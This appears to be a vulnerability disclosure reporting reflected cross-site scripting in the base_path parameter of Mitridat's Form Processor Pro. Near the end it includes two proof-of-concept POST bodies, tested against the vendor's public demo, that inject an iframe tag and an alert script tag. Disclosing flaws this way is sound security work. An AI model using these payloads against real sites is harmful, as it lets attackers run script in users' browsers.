Greetings,
I have discovered cross-site scripting vulnerability in Mitridat's
Form Processor Pro.
http://www.mitridat.com/
http://www.mitridat.com/products-form-processor-pro.html
Form Mail: Email Form Processor Pro™ - process all forms on your website
Form Mail: Email Form Processor Pro is the most powerful script to
process forms on your website. The script is available in
PHP, Perl and ASP versions. No programming knowledge needed to install
this script and configure your forms to work with it.
One script can handle unlimited amount of any sophisticated forms. You
have full layout and design control. The script is
featured with:
* auto responder;
* "preview" and "thank you" pages;
* supports attachments, calculations, "if" condition, variable
field validations, html emails;
* supports multiple pages forms, database data storing and much
more features!
Operating system and software installed.
-Apache 1.3.37
-Form Mail: eMail Form Processor Pro (c) 2000-2003 MitriDAT
-The date stamp for this product is year 2000-2003.
-Mitridat's customer demo on their website has the same date stamp.
How the vulnerability can be reproduced
-A HTTP POST to the following parameters with either an IFRAME or SCRIPT tag.
base_path=
What impact the vulnerability has on the vulnerable system?
By enticing a user to click on a crafted url, an attacker can execute
arbitrary script code on the victim's browser.
Any additional details that might help in the verification process.
This initial discovery was on a customer running Mitridat's Form
Processor Pro. I was then able to verify the parameter by looking up
Mitridat's website and verifying the xss from their public demo.
Mitridat has demo's of the Form Processor Pro for public view.
http://www.mitridat.com/products-form-processor-pro.html
http://www.email-form.com/online-demo.html
Here are tested POSTs I've done on Mitridat's public internet demo's.
URL
http://www.email-form.com/sample-forms/simple-contact-form-with-preview/simple-contact-form-with-preview.html
POST
base_path=<iframe
src=/>&r_Name=&Company-Name=&re_eMail=&Web-Site-URL=http%3A%2F%2F&r_Country=&Phone=&Fax=&r_Subject=&r_Message=&ok2.x=39&ok2.y=13
POST
base_path=<script>alert(1111)</script>&r_Name=&Company-Name=&re_eMail=&Web-Site-URL=http%3A%2F%2F&r_Country=&Phone=&Fax=&r_Subject=&r_Message=&ok2.x=17&ok2.y=6
Charles H Kim
